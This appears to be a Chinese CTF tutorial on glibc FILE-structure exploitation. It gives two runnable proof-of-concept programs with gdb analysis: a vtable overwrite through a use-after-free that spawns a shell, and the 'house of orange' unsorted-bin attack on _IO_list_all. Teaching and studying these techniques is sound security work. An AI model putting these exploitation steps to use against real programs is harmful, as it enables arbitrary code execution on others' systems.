前言


本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274


利用 FILE 结构体进行攻击,在现在的 ctf 比赛中也经常出现,最近的 hitcon2017 又提出了一种新的方式。本文对该攻击进行总结。

正文

首先来一张 _IO_FILE 结构体的结构

_IO_FILE_plus 等价于 _IO_FILE + vtable

调试着来看看(64 位)

vtable 指向的位置是一组函数指针

利用 vtable 进行攻击

通过一个 uaf 的示例代码来演示

  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. void pwn(void)
  4. {
  5. system("sh");
  6. }
  7. // 用于伪造 vtable
  8. void * funcs[] = {
  9. NULL, // "extra word"
  10. NULL, // DUMMY
  11. exit, // finish
  12. NULL, // overflow
  13. NULL, // underflow
  14. NULL, // uflow
  15. NULL, // pbackfail
  16. NULL, // xsputn
  17. NULL, // xsgetn
  18. NULL, // seekoff
  19. NULL, // seekpos
  20. NULL, // setbuf
  21. NULL, // sync
  22. NULL, // doallocate
  23. NULL, // read
  24. NULL, // write
  25. NULL, // seek
  26. pwn, // close
  27. NULL, // stat
  28. NULL, // showmanyc
  29. NULL, // imbue
  30. };
  31. int main(int argc, char * argv[])
  32. {
  33. FILE *fp; // _IO_FILE 结构体
  34. unsigned char *str;
  35. printf("sizeof(FILE): 0x%x\n", sizeof(FILE));
  36. /* _IO_FILE + vtable_ptr 分配一个 _IO_FILE_plus 结构体 */
  37. str = malloc(sizeof(FILE) + sizeof(void *));
  38. printf("freeing %p\n", str);
  39. free(str);
  40. /*打开一个文件,会分配一个 _IO_FILE_plus 结构体 , 会使用刚刚 free 掉的内存*/
  41. if (!(fp = fopen("/dev/null", "r"))) {
  42. perror("fopen");
  43. return 1;
  44. }
  45. printf("FILE got %p\n", fp);
  46. /* 取得地址 */
  47. printf("_IO_jump_t @ %p is 0x%08lx\n",
  48. str + sizeof(FILE), *(unsigned long*)(str + sizeof(FILE)));
  49. /* 修改 vtable 指针 */
  50. *(unsigned long*)(str + sizeof(FILE)) = (unsigned long)funcs;
  51. printf("_IO_jump_t @ %p now 0x%08lx\n",
  52. str + sizeof(FILE), *(unsigned long*)(str + sizeof(FILE)));
  53. /* 调用 fclose 触发 close */
  54. fclose(fp);
  55. return 0;
  56. }
  • 首先分配一个 _IO_FILE_plus 大小的内存块
  • 然后释放掉调用 fopen 分配 _IO_FILE_plus 结构体
  • 修改 fpvtable 指针到我们布局的地址
  • 调用 fclose 函数, 进而调用 pwn

调试可以看到,分配的大小为 0xf0(也就是 0xe0+0x10) 和_IO_FILE_plus 的大小是一样的

free 掉后,调用 fopen 会占用这个内存

查看 vtable 也是符合预期

替换vtable指针之后

close 函数已经被修改为 pwn 函数,最后调用 fclose 函数,就会调用 pwn 函数

house of orange

为了便于调试,使用 how2heap 的代码进行调试分析。

  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. int winner ( char *ptr);
  5. int main()
  6. {
  7. char *p1, *p2;
  8. size_t io_list_all, *top;
  9. // 首先分配一个 0x400 的 chunk
  10. p1 = malloc(0x400-16);
  11. // 拿到 top chunk的地址
  12. top = (size_t *) ( (char *) p1 + 0x400 - 16);
  13. // 修改 top chunk 的 size
  14. top[1] = 0xc01;
  15. // 触发 syscall 的 _int_free, top_chunk 放到了 unsort bin
  16. p2 = malloc(0x1000);
  17. // 根据 fd 指针的偏移计算 io_list_all 的地址
  18. io_list_all = top[2] + 0x9a8;
  19. // 修改 top_chunk 的 bk 为 io_list_all - 0x10 , 后面会触发
  20. top[3] = io_list_all - 0x10;
  21. /*
  22. 设置 fp 指针指向位置 开头 为 /bin/sh
  23. */
  24. memcpy( ( char *) top, "/bin/sh\x00", 8);
  25. // 修改 top chunk 的 大小 为 0x60
  26. top[1] = 0x61;
  27. /*
  28. 为了可以正常调用 overflow() ,需要满足一些条件
  29. fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base
  30. */
  31. _IO_FILE *fp = (_IO_FILE *) top;
  32. fp->_mode = 0;
  33. fp->_IO_write_base = (char *) 2;
  34. fp->_IO_write_ptr = (char *) 3;
  35. // 设置虚表
  36. size_t *jump_table = &top[12]; // controlled memory
  37. jump_table[3] = (size_t) &winner;
  38. *(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table; // top+0xd8
  39. // 再次 malloc, fastbin, smallbin都找不到需要的大小,会遍历 unsort bin 把它们添加到对应的 bins 中去
  40. // 之前已经把 top->bk 设置为 io_list_all - 0x10, 所以会把 io_list_all 的值 设置为 fd,
  41. // 也就是 main_arena+88
  42. // _IO_FILE_plus + 0x68 --> _china , main_arena+88 + 0x68 为 smallbin[5], 块大小为 0x60
  43. // 所以要把 top的 size 设置为 0x60
  44. malloc(10);
  45. return 0;
  46. }
  47. int winner(char *ptr)
  48. {
  49. system(ptr);
  50. return 0;
  51. }

代码的流程如下:

  • 首先分配 0x400 字节的块
  • 修改 top chunksize 域为 0xc01
  • malloc(0x1000) 触发 _int_free , top 被放到了 unsorted bin , 下面称它为 old_top
  • 布局 old_top , 设置 bk = io_list_all - 0x10 , 把old_top伪造成一个 _IO_FILE_plus,并设置好vtable
  • malloc(10) 由于此时 fastbin , smallbin 均为空,所以会进入遍历 unsorted bin ,并根据相应的大小放到对应的 bin 中。上一步设置 old_top 大小为 0x60 , 所以在放置old_top 过程中,先通过 unsorted bin attack 修改 io_list_allfd也就是 main_arena->top , 然后 old_top 会被链到 smallbin[5] (大小为 0x60 ), 接着继续遍历 unsorted bin ,这一步 会 abort,原理下面说, 然后会遍历 io_list_all 调用 _IO_OVERFLOW (fp, EOF). 伪造 vtable getshell。

下面调试分析之

参考断点:

  1. break main
  2. bp genops.c:775
  3. bp malloc.c:3472

调试到

  1. 23 p2 = malloc(0x1000);

top chunksize 已经被修改,unsorted bin 还是空的。

单步步过,发现 top 已经被 添加到 unsorted bin



然后就是一系列的伪造 _IO_FILE_plus 操作, 直接运行到

  1. 62 malloc(10);

看看布局好后的结果

vtable

可以看到 __overflow 被设置为 winner 函数,所以只要调用 __overflow 就会调用 winner

下面看看,怎么通过堆布局实现 getshell

malloc.c:3472 下好断点,运行,会被断下来。

这里是遍历 unsorted bin 的流程。

会进入这里原因在于此时 fastbin , smallbin 均为空,不能满足分配的需求,接着就会进入这里。

这里会有一个 check ,过不去就会 malloc_printerr ,进而 abort

第一次进入这里是可以过去的,然后会根据大小把 victim 放到合适的 bin 中,之前我们已经 把 old_top 的大小设置成了 0x60, 这里他就会被放到 smallbin[5] 里。

同时插入之前会先从unsorted binunlink (unsorted bin attack) ,这时可以 往 victim->bk + 0x10 写入 victim->fd, 之前我们已经设置 victim->bk 为 _IO_list_all-0x10, 所以在这里就可以 修改 _IO_list_allmain_arena->top

第一次遍历 unsorted bin, 从 unsorted bin 移除时的相关变量,内存数据。

可以看到 bck 会成为unsorted bin 的起始位置,然后

  1. bck->fd = unsorted_chunks (av);

而且此时 bck->fd _IO_list_all

继续运行,再次断在了 malloc.c:3472

可以看到,此时的 _IO_list_all 已经被修改成了 <main_arena+88>, old_top 被放到了 smallbin[5], 而且此时 victim->size 为0, 所以下面会进入 abort 的流程。

我们来看看,此时构造的 _IO_list_all 的内容

_IO_list_all 偏移 0x68_chain ,这也是之前设置 old_top 大小为 0x60 的原因。

这样就成功把 old_top 链入了 _IO_list_all

下面看看该怎么拿 shell

abort 函数中会调用 fflush(null)

实际调用的是 _IO_flush_all_lockp

遍历 _IO_list_all 调用 _IO_OVERFLOW (fp, EOF),其实就是调用 fp->vtable->__overflow(fp,eof)

第一次执行循环时,可以看上面的 _IO_list_all 数据,发现进入不了 _IO_OVERFLOW 这个判断,所以_IO_list_all 第一项的 vtable 中的数据是坏的也没有关系。

第二次循环,通过 fp = fp->_chain 找到我们的 old_top, 我们已经在这布局好了数据。

运行 getshell

总结

FILE 结构体是一个很好的攻击目标,学习一下很有必要

调试时,尽可能用最小的代码复现问题。

参考链接:

http://www.evil0x.com/posts/13764.html

https://securimag.org/wp/news/buffer-overflow-exploitation/

https://outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/

http://repo.thehackademy.net/depot_ouah/fsp-overflows.txt

http://blog.angelboy.tw/

Pwn with File结构体(一)的更多相关文章

  1. Pwn with File结构体(四)

    前言 前面几篇文章说道,glibc 2.24 对 vtable 做了检测,导致我们不能通过伪造 vtable 来执行代码.今天逛 twitter 时看到了一篇通过绕过 对vtable 的检测 来执行代 ...

  2. Pwn with File结构体(三)

    前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 前面介绍了几种 File 结构体的攻击方式,其中包括修改 vtab ...

  3. Pwn with File结构体(二)

    前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 最新版的 libc 中会对 vtable 检查,所以之前的攻击方式 ...

  4. Pwn with File结构体之利用 vtable 进行 ROP

    前言 本文以 0x00 CTF 2017 的 babyheap 为例介绍下通过修改 vtable 进行 rop 的操作 (:-_- 漏洞分析 首先查看一下程序开启的安全措施 18:07 haclh@u ...

  5. Linux_Struct file()结构体

    struct file结构体定义在/linux/include/linux/fs.h(Linux 2.6.11内核)中,其原型是:struct file {        /*         * f ...

  6. Linux--struct file结构体

    struct file(file结构体): struct file结构体定义在include/linux/fs.h中定义.文件结构体代表一个打开的文件,系统中的每个打开的文件在内核空间都有一个关联的  ...

  7. 2018.5.2 file结构体

    f_flags,File Status Flag f_pos,表示当前读写位置 f_count,表示引用计数(Reference Count): dup.fork等系统调用会导致多个文件描述符指向同一 ...

  8. fd与FILE结构体

    文件描述符 fd 概念:文件描述符在形式上是一个非负整数.实际上,它是一个索引值,指向内核为每一个进程所维护的该进程打开文件的记录表.当程序打开一个现有文件或者创建一个新文件时,内核向进程返回一个文件 ...

  9. file结构体中private_data指针的疑惑

    转:http://www.360doc.com/content/12/0506/19/1299815_209093142.shtml hi all and barry, 最近在学习字符设备驱动,不太明 ...

随机推荐

  1. 【Java并发编程】:多线程环境中安全使用集合API

    在集合API中,最初设计的Vector和Hashtable是多线程安全的.例如:对于Vector来说,用来添加和删除元素的方法是同步的.如果只有一个线程与Vector的实例交互,那么,要求获取和释放对 ...

  2. windows本地调试安装hadoop(idea) : ERROR util.Shell: Failed to locate the winutils binary in the hadoop binary path

    1,本地安装hadoop https://mirrors.tuna.tsinghua.edu.cn/apache/hadoop/common/ 下载hadoop对应版本 (我本意是想下载hadoop ...

  3. 9.png图片制作详细教程

    1.背景自适应且不失真问题的存在      制作自适应背景图片是UI开发的一个广泛问题,也是界面设计师渴望解决的问题,我相信我们彼此都深有体会.      比如,列表的背景图一定,但是列表的高度随着列 ...

  4. 【原】中文Ubuntu主目录下的文档文件夹改回英文

    想把中文Ubuntu主目录下的文档文件夹改回英文,在Terminal下面操作的时候要输入中文特别不方便,于是便用了更改名字的想法 方法一: 首先把那几个中文名称修改成相应的英文,比如 Desktop. ...

  5. 玩转mongodb(六):索引,速度的引领(普通索引篇)

    数据库索引与书籍的索引类似,有了索引就不需要翻整本书,数据库可以直接在索引中查找,在索引中找到条目后,就可以直接跳到目标文档的位置,这可以让查找的速度提高几个数量级. 一.创建索引 我们在person ...

  6. Hadoop提交作业流程

    一 .需要知道的内容 1.ResourceManager ------>yarn的老大 2.NodeManager        ------>yarn的小弟 3.ResourceMana ...

  7. spring-boot前端参数单位转换

    import java.text.ParseException; import java.text.SimpleDateFormat; import java.util.Date; import ja ...

  8. Linux 查看内核版本命令的相关说明

    hostname 显示主机名称uname -a 显示内核版本详细信息,其中包括主机名称,发行厂商这个命令是看不到的. 如果要看发行版及厂商可使用命令:lsb_release –a uname -a后, ...

  9. SpringBoot相关配置

    8.1 配置 Spring MVC的配置是通过继承WebMvcConfigurerAdapter类并重载其方法实现的; 前几个教程已做了得配置包括 01点睛Spring MVC 4.1-搭建环境 配置 ...

  10. [转]Lost parameter value during SQL trace in EF Core DbParameter 为 问号 ?

    本文转自:https://stackoverflow.com/questions/44202478/lost-parameter-value-during-sql-trace-in-ef-core 问 ...